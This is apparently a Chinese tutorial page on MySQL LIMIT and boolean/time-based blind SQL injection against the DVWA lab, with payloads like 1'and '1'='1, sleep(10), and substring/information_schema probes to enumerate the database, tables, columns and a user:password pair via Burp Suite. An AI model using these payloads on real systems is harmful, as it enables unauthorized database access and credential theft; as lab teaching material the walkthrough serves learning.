mysql中limit的详细用法
1、用于强制返回指定的记录行数
在查询中,经常要返回前几条或者中间某几行数据时,用到limit
语法如下
select * from table_name limit [offset,] rows

 参数说明:
  offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
  rows:返回具体行数

总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

哪种情况适合boolean布尔型注入攻击

页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

1)代码层分析

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。

 判断盲注入的方法

方法1:布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样 方法2:延时注入
如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行

 判断数据库库名长度

要查询当前数据库库名,首先确定要查询的数据库的长度。
1' and if(length(database())=4,1,0)--+

length(database())=4,验证通过

length(database())=4,验证结果“MISSING”

结论:数据库名长度为4

1)数据库名
mysql> select database();
+------------+
| database() |
+------------+
| dvwa |
+------------+
1 row in set (0.00 sec) mysql> 2)数据库的字段名第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql> 3)猜测数据库第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql>

 结合burpsuite猜测数据库全称

url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果

2、设置burpsuite变量:

 3、attack结果

由此登出数据库名为dvwa

substring截取数据库表字段,判断数据表名

原理
1)表名
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook           
mysql>

2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g                                                                                                        |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>
3)sql组合
mysql> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0);
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
1 row i
1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)

2)开启代理,burpsuite拦截

3)设置变量,payload中数据库表名长度可默认最大设置为40

共爆出2张数据表

由此结论:共存在两张数据表:guestbook,users

爆出字段名

1)users表的字段
mysql> select column_name from information_schema.columns where table_name='users' and table_schema=database();
+--------------+
| column_name |
+--------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
+--------------+
8 rows in set (0.00 sec) mysql> 2)猜出首个字段名的第一个字母
mysql>
mysql> select if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0);
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.02 sec) mysql>
url 拼接:1' and if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+

burpsuit后登出字段内容:user ,password

url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+

burpsuite拦截信息,设置变量 ,爆破后登出 user与password

boolean布尔型盲注的更多相关文章

  1. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  2. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  3. SQL注入之Boolean型盲注

    什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...

  4. 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入

    SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...

  5. Oracle基于布尔的盲注总结

    0x01 decode 函数布尔盲注 decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3 当然值1,值2,值3也可以 ...

  6. 【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

    ' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注 ...

  7. 【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

    错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测 ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. MySQL手注之盲注(布尔)

    布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length()  返回字符串的长度, 可 ...

  10. 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

    pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...

随机推荐

  1. 微机原理与系统设计笔记7 |常用芯片接口技术、中断系统与可编程中断控制器8259A

    打算整理汇编语言与接口微机这方面的学习记录.本部分介绍常用芯片接口技术.中断系统与可编程中断控制器8259A. 参考资料 西电<微机原理与系统设计>周佳社 西交<微机原理与接口技术& ...

  2. LeetCode-2038 如果相邻两个颜色均相同则删除当前颜色

    来源:力扣(LeetCode)链接:https://leetcode-cn.com/problems/remove-colored-pieces-if-both-neighbors-are-the-s ...

  3. Servlet一笔记

    Servlet一笔记 一.web相关概念 1. 软件架构 目标 理解B/S 和 C/S的优缺点 讲解 C/S架构 C:Client,客户端:S:Server,服务器 比如:QQ,微信,网游 优点: 显 ...

  4. hashMap的底层数据结构

    本节用于记录Java HashMap底层数据结构.方法实现原理等,基于JDK 1.8. # 底层数据结构 Java hashMap 是采用哈希表结构的(数组+链表 /jdk8后加入红黑树)实现,结合了 ...

  5. Jmeter 常用命令 之 CLI模式

    一.Jmeter的非GUI模式命令(即CLI模式command line) 命令: 命令参数 命令释义 -n 设置命令行模式 -t 指定JMX脚本路径参数为:JMX脚本路径,若非当前目录需用全路径或相 ...

  6. Head First Python(第2版)书籍 重视大脑的学习指南

    Head First Python(第2版)PDF高清版书籍免费下载地址 提取码:08eo 内容简介  · · · · · · 你想过可以通过一本书就学会Python吗?<Head First ...

  7. Centos7.6centOS7.8多网卡多IP配置

    1.进入网卡配置文件 cd /etc/sysconfig/network-scripts/2.创建新网卡的配置文件 ifcfg-eth1 cp ifcfg-eth0 ifcfg-eth1这样副网卡配置 ...

  8. React Navite环境搭建

    俗话说"工欲善其事,必先利其器."所以,我们第一步就是搭建React Native开发坏境. 一.安装Node.js.npm.yarn 1.1 React native需要借助no ...

  9. P1046 [NOIP2005 普及组] 陶陶摘苹果

    题目描述 陶陶家的院子里有一棵苹果树,每到秋天树上就会结出 10 个苹果.苹果成熟的时候,陶陶就会跑去摘苹果.陶陶有个 30厘米高的板凳,当她不能直接用手摘到苹果的时候,就会踩到板凳上再试试. 现在已 ...

  10. 安全测试-WEB安全渗透测试基础知识(三)

    1.3. 域名系统 1.3.1. 域名系统工作原理 DNS解析过程是递归查询的,具体过程如下: 用户要访问域名www.example.com时,先查看本机hosts是否有记录或者本机是否有DNS缓存, ...